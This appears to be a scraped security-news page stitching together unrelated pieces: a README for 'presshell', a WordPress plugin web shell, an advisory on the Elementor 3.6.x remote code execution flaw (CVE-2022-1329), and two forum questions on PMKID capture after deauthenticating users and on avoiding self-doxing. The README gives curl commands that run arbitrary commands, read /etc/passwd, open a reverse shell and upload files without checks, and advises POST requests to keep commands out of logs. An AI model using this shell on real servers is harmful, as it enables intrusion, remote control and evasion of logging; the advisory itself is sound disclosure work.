presshell Quick & dirty Wordpress Command Execution Shell. Execute shell commands on your wordpress (https://www.kitploit.com/search/label/WordPress) server. Uploaded shell will probably be at /wp-content/plugins/shell/shell.php Installation To install the shell, we are assuming you have administrative rights to Wordpress and can install plugins since transferring a PHP file to the media library (https://www.kitploit.com/search/label/Library) shouldn't work anyway. Otherwise, you have a bigger problem. Simply upload the zip file located in the Releases section as a new extension and you're good to go.
Usage Using the shell is straightforward. Simply pass sh commands as an argument to the shell : ❯ curl 'http://host/.../shell.php?cmd=uname+-a'
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux You may as well pass these arguments in a POST request, which is the recommended way to keep your commands out of logs. ❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'

Quick & dirty Wordpress Command Execution Shell.

Execute shell commands on your wordpress server. Uploaded shell will probably be at

Installation

To install the shell, we are assuming you have administrative rights to Wordpress and can install plugins since transferring a PHP file to the media library shouldn't work anyway. Otherwise, you have a bigger problem.

Simply upload the zip file located in the Releases section as a new extension and you're good to go.
Usage

Using the shell is straightforward. Simply pass shcommands as an argument to the shell :

❯ curl 'http://host/.../shell.php?cmd=uname+-a'
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

You may as well pass these arguments in a POST request, which is the recommended way to keep your commands out of logs.

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php

More complex commands are also supported, careful about your quoting though.

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=cat /etc/passwd | grep -v "\(false\|nologin\)"'
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=python -c "from urllib.parse import urlencode; print(urlencode({\"cmd\": \"uname -a\"}))"'
cmd=uname+-a

You can also open a reverse shell using the ipand portparameters. The default port is 443.

❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1'

❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1' --data-urlencode 'port=1337'

There is also an option provided for convenience to upload a file to the directory of the plugin unconditionally and without checks.

❯ curl 'http://host/.../shell.php' -F 'file=@some_file'
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'

WordPress Elementor 3.6.2 Remote Code Execution

https://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png
WordPress Elementor versions 3.6.0 through 3.6.2 suffer from a remote code execution vulnerability.

MD5 | e3c26b5f04706dd80b2cb9e18d638d8a

Download
Description: Insufficient Access Control leading to Subscriber+ Remote Code Execution

Affected Plugin: Elementor

Plugin Slug: elementor

Plugin Developer: Elementor

Affected Versions: 3.6.0 – 3.6.2

CVE ID: CVE-2022-1329

CVSS Score: 9.9(Critical)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Researcher/s: Ramuel Gall

Fully Patched Version: 3.6.3

The Elementor plugin for WordPress introduced an Onboarding module in version 3.6.0, designed to simplify the initial setup of the plugin. The module uses an unusual method to register AJAX actions, adding an admin_init listener in its constructor that first checks whether or not a request was to the AJAX endpoint and contains a valid nonce before calling the maybe_handle_ajax function.

Unfortunately no capability checks were used in the vulnerable versions. There are a number of ways for an authenticated user to obtain the Ajax::NONCE_KEY, but one of the simplest ways is to view the source of the admin dashboard as a logged-in user, as it is present for all authenticated users, even for subscriber-level users.

This means that any logged-in user could use any of the onboarding functions. Additionally, an unauthenticated attacker with access to the Ajax::NONCE_KEY could use any of the functions called from maybe_handle_ajax, though this would likely require a separate vulnerability.

The function with the most severe impact was the upload_and_install_pro function. An attacker could craft a fake malicious “Elementor Pro” plugin zip and use this function to install it. Any code present in the fake plugin would be executed, which could be used to take over the site or access additional resources on the server.

In addition to this functionality, a less sophisticated attacker could simply deface the site by using the maybe_update_site_name, maybe_upload_logo_image, and maybe_update_site_logo functions to change the site name and logo.

Timeline

March 29, 2022 – We finish our investigation and deploy a firewall rule to protect Wordfence Premium, Wordfence Care, and Wordfence Response customers. We send our full disclosure to the plugin developer’s official security contact.

April 5, 2022 – We follow up with the plugin developer’s security contact as we have not yet received a response.

April 11, 2022 – We send our full disclosure to the WordPress Plugins team.

April 12, 2022 – A patched version of Elementor is released.

April 28, 2022 – The firewall rule becomes available to free Wordfence users.

Conclusion

In today’s post, we covered a Critical vulnerability that allows any authenticated user to upload and execute malicious code on a site running a vulnerable version of the Elementor plugin. If your site is using the Elementor plugin, we urge you to update immediately. The good news is that the vulnerability is not present in versions prior to 3.6.0 and was successfully patched in 3.6.3.

Why does it say PMKID found instead of WPA Handshake

So I used the traditional airodump-ng handshake capturing method and to generate a handshake i deauthenticated users off that wifi network using a completely different device. When I stopped deauthentication it said "PMKID found" where it should say WPA Handshake. What is PMKID and is that of any benefit?

How to not dox myself in a new side project

Not sure if this is the right place, but y’all are the best of the pros. I’m looking to start a brand and YouTube channel which whatever millions of people do. Anyway my job, it disallows me from “working there” only certain people can be known to work there. I don’t want to dox myself. It’s bad enough if you search me, I do show up from linked in and several other like directory platforms (just discovered). So Anyway, for my brand how do I go about this? I did get it approved, but I don’t want to fuck my self and have people calling my employer and spamming them etc then cost me and my family our livelihoods. But I’d also like to use it as a resume builder (if possible). How do I do this without doxing myself? What is best practice? Suggestions?
